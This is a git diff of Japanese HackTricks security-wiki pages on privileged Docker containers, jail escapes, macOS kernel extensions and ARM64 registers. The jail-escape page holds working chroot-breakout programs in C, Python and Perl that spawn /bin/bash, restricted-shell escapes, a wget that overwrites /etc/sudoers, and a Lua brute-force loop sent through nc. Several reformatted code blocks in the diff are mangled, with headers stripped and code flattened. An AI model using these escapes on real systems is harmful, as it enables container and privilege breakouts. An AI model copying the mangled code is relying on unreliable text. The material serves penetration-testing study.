**Seccomp**は、コンテナが呼び出すことができる**syscalls**を**制限**するのに役立ちます。 Dockerコンテナを実行する際にはデフォルトでseccompプロファイルが有効になっていますが、特権モードでは無効になります。Seccompについて詳しくはこちらを参照してください
{% content-ref url="seccomp.md" %}
[seccomp.md](seccomp.md)
{% endcontent-ref %}
```bash
# docker run --rm -it alpine sh
grep Seccomp /proc/1/status
@ -140,10 +139,12 @@ Seccomp_filters: 0
```
{% endtab %}
{% endtabs %}
```bash
# You can manually disable seccomp in docker with
--security-opt seccomp=unconfined
```
また、Dockerまたは他のCRIsが**Kubernetes**クラスターで使用される場合、**seccompフィルターはデフォルトで無効**になります。
### AppArmor
@ -153,10 +154,12 @@ Seccomp_filters: 0
{% content-ref url="apparmor.md" %}
[apparmor.md](apparmor.md)
{% endcontent-ref %}
```bash
# You can manually disable seccomp in docker with
--security-opt apparmor=unconfined
```
### SELinux
`--privileged` フラグを使用してコンテナを実行すると、**SELinux ラベル**が無効になり、通常 `unconfined` のようなコンテナエンジンのラベルを継承し、コンテナエンジンと同様の完全アクセスが付与されます。ルートレスモードでは `container_runtime_t` を使用し、ルートモードでは `spc_t` が適用されます。
@ -164,15 +167,17 @@ Seccomp_filters: 0
{% content-ref url="../selinux.md" %}
[selinux.md](../selinux.md)
{% endcontent-ref %}
```bash
# You can manually disable selinux in docker with
--security-opt label:disable
```
## 影響を受けないもの
### 名前空間
名前空間は`--privileged`フラグの影響を受けません。セキュリティ制約が有効になっていないにもかかわらず、**システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは、**`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`**のコンテナエンジンフラグを使用して個々の名前空間を無効にできます。
名前空間は`--privileged`フラグの影響を受けません。セキュリティ制約が有効になっていないにもかかわらず、**システム上のすべてのプロセスやホストネットワークを見ることはできません**。ユーザーは、\*\*`--pid=host`、`--net=host`、`--ipc=host`、`--uts=host`\*\*のコンテナエンジンフラグを使用して個々の名前空間を無効にできます。
{% tabs %}
{% tab title="デフォルトの特権付きコンテナ内部" %}
@ -213,7 +218,7 @@ PID USER TIME COMMAND
* **サイバーセキュリティ企業**で働いていますか? **HackTricksで会社を宣伝**したいですか?または、**PEASSの最新バージョンを入手したり、HackTricksをPDFでダウンロード**したいですか?[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[NFTs](https://opensea.io/collection/the-peass-family)コレクションを見つけましょう
* [**公式PEASSHackTricksスウェグ**](https://peass.creator-spring.com)を手に入れましょう
* **[💬](https://emojipedia.org/speech-balloon/) [Discordグループ](https://discord.gg/hRep4RUj7f)**に参加するか、[Telegramグループ](https://t.me/peass)に参加するか、**Twitter**で私をフォローしてください 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
* **ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)**にPRを提出してください。
* [**💬**](https://emojipedia.org/speech-balloon/) [**Discordグループ**](https://discord.gg/hRep4RUj7f)**に参加するか、**[**Telegramグループ**](https://t.me/peass)**に参加するか、Twitterで私をフォローしてください 🐦**[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* \*\*ハッキングトリックを共有するために、[hacktricksリポジトリ](https://github.com/carlospolop/hacktricks)と[hacktricks-cloudリポジトリ](https://github.com/carlospolop/hacktricks-cloud)\*\*にPRを提出してください。
</details>

View file

@ -1,4 +1,4 @@
# Jails からの脱出
# Escaping from Jails
<details>
@ -40,24 +40,14 @@ chroot 内で **root** であれば、**新しい chroot を作成すること
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
\`\`\`c #include #include #include
int main(void)
{
mkdir("chroot-dir", 0755);
chroot("chroot-dir");
for(int i = 0; i < 1000; i++) {
chdir("..");
}
chroot(".");
system("/bin/bash");
}
```
//gcc break\_chroot.c -o break\_chroot
int main(void) { mkdir("chroot-dir", 0755); chroot("chroot-dir"); for(int i = 0; i < 1000; i++) { chdir(".."); } chroot("."); system("/bin/bash"); }
````
</details>
<details>
@ -68,37 +58,23 @@ Pythonを使用して制限されたbashシェルから脱出する方法はい
```python
python -c 'import os; os.system("/bin/sh")'
```
````
このコマンドは、Pythonを介して`/bin/sh`を実行し、制限されたbash環境から脱出します。
</details>
```python
#!/usr/bin/python
import os
os.mkdir("chroot-dir")
os.chroot("chroot-dir")
for i in range(1000):
os.chdir("..")
os.chroot(".")
os.system("/bin/bash")
```
\`\`\`python #!/usr/bin/python import os os.mkdir("chroot-dir") os.chroot("chroot-dir") for i in range(1000): os.chdir("..") os.chroot(".") os.system("/bin/bash") \`\`\`
<details>
<summary>Perl</summary>
</details>
```perl
#!/usr/bin/perl
mkdir "chroot-dir";
chroot "chroot-dir";
foreach my $i (0..1000) {
chdir ".."
}
chroot ".";
system("/bin/bash");
```
</details>
\`\`\`perl #!/usr/bin/perl mkdir "chroot-dir"; chroot "chroot-dir"; foreach my $i (0..1000) { chdir ".." } chroot "."; system("/bin/bash"); \`\`\`
### Root + 保存されたfd
@ -109,31 +85,20 @@ system("/bin/bash");
<details>
<summary>C: break_chroot.c</summary>
```c
#include <sys/stat.h>
#include <stdlib.h>
#include <unistd.h>
//gcc break_chroot.c -o break_chroot
\`\`\`c #include #include #include
int main(void)
{
mkdir("tmpdir", 0755);
dir_fd = open(".", O_RDONLY);
if(chroot("tmpdir")){
perror("chroot");
}
fchdir(dir_fd);
close(dir_fd);
for(x = 0; x < 1000; x++) chdir("..");
chroot(".");
}
```
//gcc break\_chroot.c -o break\_chroot
int main(void) { mkdir("tmpdir", 0755); dir\_fd = open(".", O\_RDONLY); if(chroot("tmpdir")){ perror("chroot"); } fchdir(dir\_fd); close(dir\_fd); for(x = 0; x < 1000; x++) chdir(".."); chroot("."); }
````
</details>
### Root + Fork + UDS (Unix Domain Sockets)
{% hint style="warning" %}
<div data-gb-custom-block data-tag="hint" data-style='warning'>
FDはUnix Domain Socketsを介して渡すことができるため、以下の手順を実行します。
* 子プロセスを作成fork
@ -142,39 +107,48 @@ FDはUnix Domain Socketsを介して渡すことができるため、以下の
* 親プロセスで、新しい子プロセスのchroot外にあるフォルダのFDを作成
* そのFDをUDSを使用して子プロセスに渡す
* 子プロセスはそのFDにchdirし、chrootの外にあるため、脱獄する
{% endhint %}
</div>
### Root + Mount
{% hint style="warning" %}
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* ルートデバイス(/をchroot内のディレクトリにマウント
* そのディレクトリにchrootする
これはLinuxで可能です
{% endhint %}
</div>
### Root + /proc
{% hint style="warning" %}
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* chroot内のディレクトリにprocfsをマウントまだされていない場合
* 異なるroot/cwdエントリを持つpidを探す、例えば/proc/1/root
* そのエントリにchrootする
{% endhint %}
</div>
### Root(?) + Fork
{% hint style="warning" %}
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* Fork子プロセスを作成し、FS内のより深いフォルダにchrootし、CDを実行
* 親プロセスから、子プロセスがいるフォルダを子プロセスのchrootより前のフォルダに移動
* この子プロセスは自分がchrootの外にいることに気づく
{% endhint %}
</div>
### ptrace
{% hint style="warning" %}
<div data-gb-custom-block data-tag="hint" data-style='warning'>
* 以前はユーザーが自分のプロセスを自分自身のプロセスからデバッグできましたが、これはデフォルトではもう可能ではありません
* それでも可能であれば、プロセスにptraceしてシェルコードを実行できます[この例を参照](linux-capabilities.md#cap_sys_ptrace))。
{% endhint %}
</div>
## Bash Jails
@ -187,48 +161,61 @@ echo $PATH
env
export
pwd
```
### PATHの変更
````
#### PATHの変更
PATH環境変数を変更できるか確認してください
```bash
echo $PATH #See the path of the executables that you can use
PATH=/usr/local/sbin:/usr/sbin:/sbin:/usr/local/bin:/usr/bin:/bin #Try to change the path
echo /home/* #List directory
```
### vimの使用
#### vimの使用
```bash
:set shell=/bin/sh
:shell
```
### スクリプトの作成
#### スクリプトの作成
実行可能なファイルを _/bin/bash_ の内容で作成できるか確認してください
```bash
red /bin/bash
> w wx/path #Write /bin/bash in a writable and executable path
```
### SSHからbashを取得する
#### SSHからbashを取得する
ssh経由でアクセスしている場合、このトリックを使用してbashシェルを実行できます:
```bash
ssh -t user@<IP> bash # Get directly an interactive shell
ssh user@<IP> -t "bash --noprofile -i"
ssh user@<IP> -t "() { :; }; sh -i "
```
### 宣言
#### 宣言
```bash
declare -n PATH; export PATH=/bin;bash -i
BASH_CMDS[shell]=/bin/bash;shell -i
```
### Wget
#### Wget
例えばsudoersファイルを上書きすることができます
```bash
wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
```
### その他のテクニック
#### その他のテクニック
以下のページでは、制限されたLinuxシェルからの脱出テクニックについて説明しています。
@ -237,38 +224,37 @@ wget http://127.0.0.1:8080/sudoers -O /etc/sudoers
[https://gtfobins.github.io](https://gtfobins.github.io)\
**また、以下のページも参考になるでしょう:**
{% content-ref url="../useful-linux-commands/bypass-bash-restrictions.md" %}
[bypass-bash-restrictions.md](../useful-linux-commands/bypass-bash-restrictions.md)
{% endcontent-ref %}
## Python Jails
### Python Jails
Python jailsから脱出するテクニックについては、以下のページを参照してください
{% content-ref url="../../generic-methodologies-and-resources/python/bypass-python-sandboxes/" %}
[bypass-python-sandboxes](../../generic-methodologies-and-resources/python/bypass-python-sandboxes/)
{% endcontent-ref %}
## Lua Jails
### Lua Jails
Lua内でアクセス可能なグローバル関数については、このページを参照してください [https://www.gammon.com.au/scripts/doc.php?general=lua\_base](https://www.gammon.com.au/scripts/doc.php?general=lua\_base)
**コマンド実行を伴うEval:**
```bash
load(string.char(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))()
```
**ドットを使用せずにライブラリの関数を呼び出すためのいくつかのコツ:**
```bash
print(string.char(0x41, 0x42))
print(rawget(string, "char")(0x41, 0x42))
```
ライブラリの関数を列挙する:
```bash
for k,v in pairs(string) do print(k,v) end
```
```markdown
前述のワンライナーを**異なるlua環境で実行するたびに、関数の順序が変わる**ことに注意してください。したがって、特定の関数を実行する必要がある場合は、異なるlua環境をロードしてライブラリの最初の関数を呼び出すことにより、ブルートフォース攻撃を行うことができます
```
```bash
#In this scenario you could BF the victim that is generating a new lua environment
#for every interaction with the following line and when you are lucky
@ -279,24 +265,17 @@ for k,chr in pairs(string) do print(chr(0x6f,0x73,0x2e,0x65,0x78)) end
#and "char" from string library, and the use both to execute a command
for i in seq 1000; do echo "for k1,chr in pairs(string) do for k2,exec in pairs(os) do print(k1,k2) print(exec(chr(0x6f,0x73,0x2e,0x65,0x78,0x65,0x63,0x75,0x74,0x65,0x28,0x27,0x6c,0x73,0x27,0x29))) break end break end" | nc 10.10.10.10 10006 | grep -A5 "Code: char"; done
```
**インタラクティブなluaシェルを取得する**: 制限されたluaシェル内にいる場合、次の呼び出しによって新しいluaシェルそして願わくば無制限のを取得できます:
```bash
debug.debug()
```
## 参考文献
### 参考文献
* [https://www.youtube.com/watch?v=UO618TeyCWo](https://www.youtube.com/watch?v=UO618TeyCWo) (スライド: [https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf](https://deepsec.net/docs/Slides/2015/Chw00t\_How\_To\_Break%20Out\_from\_Various\_Chroot\_Solutions\_-\_Bucsay\_Balazs.pdf))
<details>
<summary><strong>htARTE (HackTricks AWS Red Team Expert) で AWS ハッキングをゼロからヒーローまで学ぶ</strong></summary>
HackTricks をサポートする他の方法:
* **HackTricks にあなたの会社を広告したい**、または **HackTricks を PDF でダウンロードしたい場合**は、[**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式 PEASS & HackTricks グッズ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見する、私たちの独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクション
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f)や [**telegram グループ**](https://t.me/peass)に**参加する**、または **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm) を **フォローする**
* [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の github リポジトリに PR を提出して、あなたのハッキングのコツを**共有する**。
</details>

File diff suppressed because one or more lines are too long

View file

@ -1,4 +1,4 @@
# macOS カーネル & システム拡張
# macOS Kernel & System Extensions
<details>
@ -6,11 +6,11 @@
HackTricks をサポートする他の方法:
- **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
- [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る
- 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
- **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
* **HackTricks で企業を宣伝**したい場合や **HackTricks を PDF でダウンロード**したい場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop) をチェックしてください!
* [**公式 PEASS & HackTricks スワッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な [**NFTs**](https://opensea.io/collection/the-peass-family) のコレクションを見る
* 💬 [**Discord グループ**](https://discord.gg/hRep4RUj7f) に参加するか、[**telegram グループ**](https://t.me/peass) に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live) をフォローする
* **ハッキングテクニックを共有するために、** [**HackTricks**](https://github.com/carlospolop/hacktricks) と [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) の GitHub リポジトリに PR を提出する
</details>
@ -32,12 +32,12 @@ XNU では、Mach が **プロセッサスケジューリング、マルチタ
XNU カーネルはまた、**FreeBSD** プロジェクトから派生した大量のコードを **組み込んで**います。このコードは、Mach と同じアドレス空間内でカーネルの一部として実行されます。ただし、XNU 内の FreeBSD コードは、Mach との互換性を確保するために変更が加えられたため、元の FreeBSD コードとは大きく異なる場合があります。FreeBSD は以下の多くのカーネル操作に貢献しています:
- プロセス管理
- シグナル処理
- ユーザーおよびグループ管理を含む基本的なセキュリティメカニズム
- システムコールインフラストラクチャ
- TCP/IP スタックおよびソケット
- ファイアウォールおよびパケットフィルタリング
* プロセス管理
* シグナル処理
* ユーザーおよびグループ管理を含む基本的なセキュリティメカニズム
* システムコールインフラストラクチャ
* TCP/IP スタックおよびソケット
* ファイアウォールおよびパケットフィルタリング
BSD と Mach の相互作用を理解することは複雑であり、それぞれ異なる概念フレームワークを持っています。たとえば、BSD はプロセスを基本的な実行単位として使用しますが、Mach はスレッドに基づいて動作します。この相違は、XNU において BSD プロセスを Mach タスクに **関連付ける**ことで調整されます。BSD の fork() システムコールが使用されると、カーネル内の BSD コードは、タスクとスレッド構造を作成するために Mach 関数を使用します。
@ -53,8 +53,8 @@ I/O Kit は XNU カーネル内のオープンソースのオブジェクト指
### IPC - プロセス間通信
{% content-ref url="macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](macos-ipc-inter-process-communication/)
{% content-ref url="../macos-proces-abuse/macos-ipc-inter-process-communication/" %}
[macos-ipc-inter-process-communication](../macos-proces-abuse/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
### カーネルキャッシュ
@ -71,18 +71,19 @@ IMG4 ファイル形式は、Apple が iOS および macOS デバイスで使用
通常、以下のコンポーネントで構成されています:
- **ペイロード (IM4P)**:
- しばしば圧縮されていますLZFSE4、LZSS など)
- オプションで暗号化されています
- **マニフェスト (IM4M)**:
- 署名を含む
- 追加のキー/値の辞書
- **リストア情報 (IM4R)**:
- APNonce としても知られています
- 一部の更新の再生を防止します
- オプション: 通常、これは見つかりません
* **ペイロード (IM4P)**:
* しばしば圧縮されていますLZFSE4、LZSS など)
* オプションで暗号化されています
* **マニフェスト (IM4M)**:
* 署名を含む
* 追加のキー/値の辞書
* **リストア情報 (IM4R)**:
* APNonce としても知られています
* 一部の更新の再生を防止します
* オプション: 通常、これは見つかりません
カーネルキャッシュを展開する:
```bash
# pyimg4 (https://github.com/m1stadev/PyIMG4)
pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
@ -90,6 +91,7 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
# img4tool (https://github.com/tihmstar/img4tool
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
#### カーネルキャッシュシンボル
時々、Appleは**シンボル**付きの**カーネルキャッシュ**をリリースします。[https://theapplewiki.com](https://theapplewiki.com/)のリンクをたどることで、いくつかのファームウェアにシンボルが付いているものをダウンロードできます。
@ -110,12 +112,15 @@ pyimg4 im4p extract -i kernelcache.release.iphone14 -o kernelcache.release.iphon
{% endcode %}
* [**img4tool**](https://github.com/tihmstar/img4tool)
```bash
img4tool -e kernelcache.release.iphone14 -o kernelcache.release.iphone14.e
```
次のコマンドを使用して、抽出されたkernelcacheのシンボルを確認できます: **`nm -a kernelcache.release.iphone14.e | wc -l`**
これで、**すべての拡張機能**または**興味を持っている1つ**を抽出できます:
```bash
# List all extensions
kextex -l kernelcache.release.iphone14.e
@ -128,6 +133,7 @@ kextex_all kernelcache.release.iphone14.e
# Check the extension for symbols
nm -a binaries/com.apple.security.sandbox | wc -l
```
## macOSカーネル拡張機能
macOSは、コードが実行される高い特権のために、**カーネル拡張機能**.kextの読み込みを非常に制限しています。実際、デフォルトでは回避策が見つかるまでほぼ不可能です。

View file

@ -1,4 +1,4 @@
# ARM64v8への導入
# Introduction to ARM64v8
<details>
@ -6,11 +6,11 @@
HackTricksをサポートする他の方法
- **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
- [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
- [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
- 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
- **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
* **HackTricksで企業を宣伝したい**、または**HackTricksをPDFでダウンロードしたい**場合は、[**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)をチェックしてください!
* [**公式PEASSHackTricksスウォッグ**](https://peass.creator-spring.com)を入手する
* [**The PEASS Family**](https://opensea.io/collection/the-peass-family)を発見し、独占的な[**NFTs**](https://opensea.io/collection/the-peass-family)のコレクションを見つける
* 💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)に参加するか、[**telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)をフォローする
* **ハッキングトリックを共有するには、**[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。
</details>
@ -19,17 +19,17 @@ HackTricksをサポートする他の方法
ARMv8アーキテクチャでは、実行レベルを表す例外レベルELが特権レベルと実行環境の機能を定義します。EL0からEL3までの4つの例外レベルがあり、それぞれ異なる目的で使用されます
1. **EL0 - ユーザーモード**
- これは最も権限の低いレベルで、通常のアプリケーションコードの実行に使用されます。
- EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。
* これは最も権限の低いレベルで、通常のアプリケーションコードの実行に使用されます。
* EL0で実行されるアプリケーションは、お互いやシステムソフトウェアから分離されており、セキュリティと安定性が向上しています。
2. **EL1 - オペレーティングシステムカーネルモード**
- ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。
- EL1はEL0よりも権限があり、システムリソースにアクセスできますが、システムの整合性を保つためにいくつかの制限があります。
* ほとんどのオペレーティングシステムカーネルはこのレベルで実行されます。
* EL1はEL0よりも権限があり、システムリソースにアクセスできますが、システムの整合性を保つためにいくつかの制限があります。
3. **EL2 - ハイパーバイザーモード**
- このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行される複数のオペレーティングシステムそれぞれが独自のEL1でを管理できます。
- EL2には仮想環境の分離と制御の機能が備わっています。
* このレベルは仮想化に使用されます。EL2で実行されるハイパーバイザーは、同じ物理ハードウェア上で実行される複数のオペレーティングシステムそれぞれが独自のEL1でを管理できます。
* EL2には仮想環境の分離と制御の機能が備わっています。
4. **EL3 - セキュアモニターモード**
- これは最も特権の高いレベルであり、セキュアブートや信頼された実行環境によく使用されます。
- EL3はセキュア状態と非セキュア状態のアクセスを管理および制御できますセキュアブート、信頼されたOSなど
* これは最も特権の高いレベルであり、セキュアブートや信頼された実行環境によく使用されます。
* EL3はセキュア状態と非セキュア状態のアクセスを管理および制御できますセキュアブート、信頼されたOSなど
これらのレベルの使用により、ユーザーアプリケーションから最も特権の高いシステムソフトウェアまで、システムの異なる側面を構造化して安全に管理する方法が提供されます。ARMv8の特権レベルへのアプローチは、異なるシステムコンポーネントを効果的に分離することで、システムのセキュリティと堅牢性を向上させます。
@ -38,71 +38,72 @@ ARMv8アーキテクチャでは、実行レベルを表す例外レベルEL
ARM64には、`x0`から`x30`までの**31個の汎用レジスタ**があります。それぞれが**64ビット**8バイトの値を格納できます。32ビットの値が必要な操作の場合、同じレジスタには`w0`から`w30`という名前で32ビットモードでアクセスできます。
1. **`x0`** から **`x7`** - これらは通常、スクラッチレジスタとサブルーチンにパラメータを渡すために使用されます。
- **`x0`** は関数の戻りデータも保持します。
* **`x0`** は関数の戻りデータも保持します。
2. **`x8`** - Linuxカーネルでは、`x8`は`svc`命令のシステムコール番号として使用されます。**macOSではx16が使用されます**
3. **`x9`** から **`x15`** - さらなる一時レジスタであり、ローカル変数によく使用されます。
4. **`x16`** と **`x17`** - **手続き内呼び出しレジスタ**。即値のための一時レジスタ。間接関数呼び出しやPLT手続きリンクテーブルスタブにも使用されます。
- **`x16`** は**macOS**で**`svc`**命令の**システムコール番号**として使用されます。
* **`x16`** は**macOS**で\*\*`svc`**命令の**システムコール番号\*\*として使用されます。
5. **`x18`** - **プラットフォームレジスタ**。一般目的レジスタとして使用できますが、一部のプラットフォームでは、このレジスタはプラットフォーム固有の用途に予約されていますWindowsの現在のスレッド環境ブロックへのポインタ、またはLinuxカーネルで実行中のタスク構造体へのポインタ。
6. **`x19`** から **`x28`** - これらは呼び出し元保存レジスタです。関数はこれらのレジスタの値を呼び出し元のために保存する必要があり、それらはスタックに保存され、呼び出し元に戻る前に回復されます。
7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。新しいスタックフレームが作成されると、関数が呼び出されるため、**`x29`** レジスタはスタックに保存され、新しいフレームポインタアドレス(**`sp`**アドレス)がこのレジスタに保存されます。
- このレジスタは一般目的レジスタとして使用できますが、通常は**ローカル変数**への参照として使用されます。
7. **`x29`** - スタックフレームを追跡するための**フレームポインタ**。新しいスタックフレームが作成されると、関数が呼び出されるため、**`x29`** レジスタはスタックに保存され、新しいフレームポインタアドレス(\*\*`sp`\*\*アドレス)がこのレジスタに保存されます。
* このレジスタは一般目的レジスタとして使用できますが、通常は**ローカル変数**への参照として使用されます。
8. **`x30`** または **`lr`** - **リンクレジスタ**。`BL`Branch with Linkまたは`BLR`Registerを使用したBranch with Link命令が実行されるときに**リターンアドレス**を保持します。
- 他のレジスタと同様に使用できます。
- 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻る)。
* 他のレジスタと同様に使用できます。
* 現在の関数が新しい関数を呼び出す予定であり、したがって`lr`を上書きする場合、最初にスタックに保存し、これがエピローグ(`stp x29, x30 , [sp, #-48]; mov x29, sp` -> `fp`と`lr`を保存し、スペースを生成し、新しい`fp`を取得)で、最後に回復します。これがプロローグです(`ldp x29, x30, [sp], #48; ret` -> `fp`と`lr`を回復して戻る)。
9. **`sp`** - **スタックポインタ**。スタックの先頭を追跡するために使用されます。
- **`sp`**の値は常に少なくとも**クワッドワードのアライメント**を保持する必要があり、それ以外の場合はアライメント例外が発生する可能性があります。
10. **`pc`** - 次の命令を指す**プログラムカウンタ**。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、**`pc`**アドレスを**`lr`**リンクレジスタに保存するためのブランチリンク命令BL、BLRだけです。
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では**`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます。**`xzr`**に結果データを保存しないでください(**`subs XZR, Xn, #10`**のような比較を行う)。
* **`sp`の値は常に少なくともクワッドワードのアライメント**を保持する必要があり、それ以外の場合はアライメント例外が発生する可能性があります。
10. **`pc`** - 次の命令を指す**プログラムカウンタ**。このレジスタは例外生成、例外リターン、およびブランチを介してのみ更新できます。このレジスタを読み取ることができる通常の命令は、**`pc`アドレスを`lr`**リンクレジスタに保存するためのブランチリンク命令BL、BLRだけです。
11. **`xzr`** - **ゼロレジスタ**。32ビットレジスタ形式では\*\*`wzr`**とも呼ばれます。ゼロ値を簡単に取得するために使用できます(一般的な操作)または**`subs`**を使用して比較を行うために使用できます。**`xzr`**に結果データを保存しないでください(**`subs XZR, Xn, #10`\*\*のような比較を行う)。
**`Wn`**レジスタは**`Xn`**レジスタの32ビットバージョンです。
\*\*`Wn`**レジスタは**`Xn`\*\*レジスタの32ビットバージョンです。
### SIMDおよび浮動小数点レジスタ
さらに、最適化された単一命令複数データSIMD操作や浮動小数点演算を実行するために使用できる、128ビット長の**32個のレジスタ**があります。これらはVnレジスタと呼ばれますが、64ビット、32ビット、16ビット、8ビットで動作することもでき、その場合は**`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**、**`Bn`**と呼ばれます。
さらに、最適化された単一命令複数データSIMD操作や浮動小数点演算を実行するために使用できる、128ビット長の**32個のレジスタ**があります。これらはVnレジスタと呼ばれますが、64ビット、32ビット、16ビット、8ビットで動作することもでき、その場合は\*\*`Qn`**、**`Dn`**、**`Sn`**、**`Hn`**、**`Bn`\*\*と呼ばれます。
### システムレジスタ
**数百のシステムレジスタ**、または特殊用途レジスタSPRは、**プロセッサ**の動作を**監視**および**制御**するために使用されます。\
これらは、専用の特殊命令**`mrs`**および**`msr`**を使用してのみ読み取りまたは設定できます。
これらは、専用の特殊命令\*\*`mrs`**および**`msr`\*\*を使用してのみ読み取りまたは設定できます。
特殊レジスタ**`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリング時に一般的に見られます。`EL0`サフィックスは、レジスタにアクセスできる**最小例外**を示しますこの場合、EL0は通常の例外特権レベルで一般プログラムが実行されます。\
これらは通常、メモリのスレッドローカルストレージ領域の**ベースアドレス**を格納するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目はEL0から読み取り、カーネルから書き込むことができます。
特殊レジスタ\*\*`TPIDR_EL0`**および**`TPIDDR_EL0`**は、リバースエンジニアリング時に一般的に見られます。`EL0`サフィックスは、レジスタにアクセスできる**最小例外**を示しますこの場合、EL0は通常の例外特権レベルで一般プログラムが実行されます**\
**これらは通常、メモリのスレッドローカルストレージ領域の**ベースアドレス\*\*を格納するために使用されます。通常、最初のものはEL0で実行されるプログラムに対して読み書き可能ですが、2番目はEL0から読み取り、カーネルから書き込むことができます。
* `mrs x0, TPIDR_EL0 ; TPIDR_EL0をx0に読み込む`
* `msr TPIDR_EL0, X0 ; x0をTPIDR_EL0に書き込む`
### **PSTATE**
**PSTATE**には、オペレーティングシステムでシリアル化されたいくつかのプロセスコンポーネントが含まれており、**トリガーされた**例外の**許可**レベルである**`SPSR_ELx`**特殊レジスタが含まれています(これにより、例外が終了したときにプロセスの状態を回復できます)。\
**PSTATE**には、オペレーティングシステムでシリアル化されたいくつかのプロセスコンポーネントが含まれており、**トリガーされた**例外の**許可**レベルである\*\*`SPSR_ELx`\*\*特殊レジスタが含まれています(これにより、例外が終了したときにプロセスの状態を回復できます)。\
これらはアクセス可能なフィールドです:
<figure><img src="../../../.gitbook/assets/image (724).png" alt=""><figcaption></figcaption></figure>
* **`N`**、**`Z`**、**`C`**、**`V`**条件フラグ:
* **`N`**は、操作が負の結果を生じたことを意味します
* **`Z`**は、操作がゼロを生じたことを意味します
* **`C`**は、操作が実行されたことを意味します
* **`V`**は、操作が符号オーバーフローを生じたことを意味します:
